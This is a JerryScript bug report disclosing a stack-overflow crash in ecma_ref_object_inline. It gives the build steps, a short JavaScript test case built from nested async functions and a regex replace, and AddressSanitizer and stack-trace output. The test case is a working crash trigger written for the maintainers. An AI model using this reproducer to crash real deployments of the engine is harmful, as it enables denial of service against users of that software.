Stack-Consumption Security Issue (ecma_ref_object_inline)

JerryScript revision

1a2c04763aba49f52b1537acd3730098c873511c

Build platform

Kali GNU/Linux Rolling - Linux 5.16.0-kali7-amd64 x86_64

Build steps

tools/build.py --clean --debug --fsanitize=address

Test case

var v0 = async (a1, a2, a3) => {
    var v5 = async (a6, a7, a8) => {
        return "AAAAAAA";
    };
    var v9 = v5(v0, v0, v0);
    var v12 = /Q*/gi;
    String.fromCharCode(v0, v0).replace(v12, v0);
};
v0();

Output

854467==ERROR: AddressSanitizer: stack-overflow on address 0x7fffbe957ff8 (pc 0x5568e58f4e87 bp 0x5568e59c5280 sp 0x7fffbe958000 T0) #0 0x5568e58f4e87 (/home/kali/jerryscript/build/bin/jerry+0x48e87) #1 0x5568e5985bc9 (/home/kali/jerryscript/build/bin/jerry+0xd9bc9) #2 0x5568e5934252 (/home/kali/jerryscript/build/bin/jerry+0x88252) #3 0x5568e5943e3e (/home/kali/jerryscript/build/bin/jerry+0x97e3e) [...]

[#4] 0x55555575b661 → jerry_port_fatal(code=JERRY_FATAL_REF_COUNT_LIMIT) [#5] 0x5555556677d3 → jerry_fatal(code=JERRY_FATAL_REF_COUNT_LIMIT) [#6] 0x5555555ceab7 → ecma_ref_object_inline(object_p=0x55555582ef28 <jerry_global_heap+680>) [#7] 0x5555555ee9e0 → ecma_copy_value(value=0x2ab) [#8] 0x5555555eea6f → ecma_fast_copy_value(value=0x2ab) [#9] 0x5555556d1711 → vm_init_exec(frame_ctx_p=0x7fffff934460)

jerryscript-project / jerryscript